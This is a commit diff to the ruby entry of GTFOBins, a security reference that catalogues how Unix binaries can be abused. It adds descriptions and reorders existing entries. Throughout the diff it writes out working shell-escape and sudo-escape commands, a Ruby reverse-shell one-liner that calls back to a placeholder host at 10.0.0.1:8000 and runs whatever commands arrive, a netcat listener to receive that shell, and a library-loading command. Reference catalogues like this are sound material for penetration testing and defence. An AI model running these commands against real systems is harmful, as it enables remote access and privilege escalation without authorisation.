Add missing descriptions

_gtfobins/ruby.md

@@ -4,16 +4,17 @@ functions:
     - code: ruby -e 'exec "/bin/sh"'
   sudo-enabled:
     - code: sudo ruby -e 'exec "/bin/sh"'
-  reverse-shell:
-    - code: |
-        export RHOST=10.0.0.1
-        export RPORT=8000
-        ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-  load-library:
-    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
   upload:
     - description: Serve files in the local folder running an HTTP server.
       code: |
         export LPORT=8888
         ruby -run -e httpd . -p $LPORT
+  reverse-shell:
+    - description: Run `nc -l -p 8000` to receive the shell on the other end.
+      code: |
+        export RHOST=10.0.0.1
+        export RPORT=8000
+        ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
+  load-library:
+    - code: ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
 ---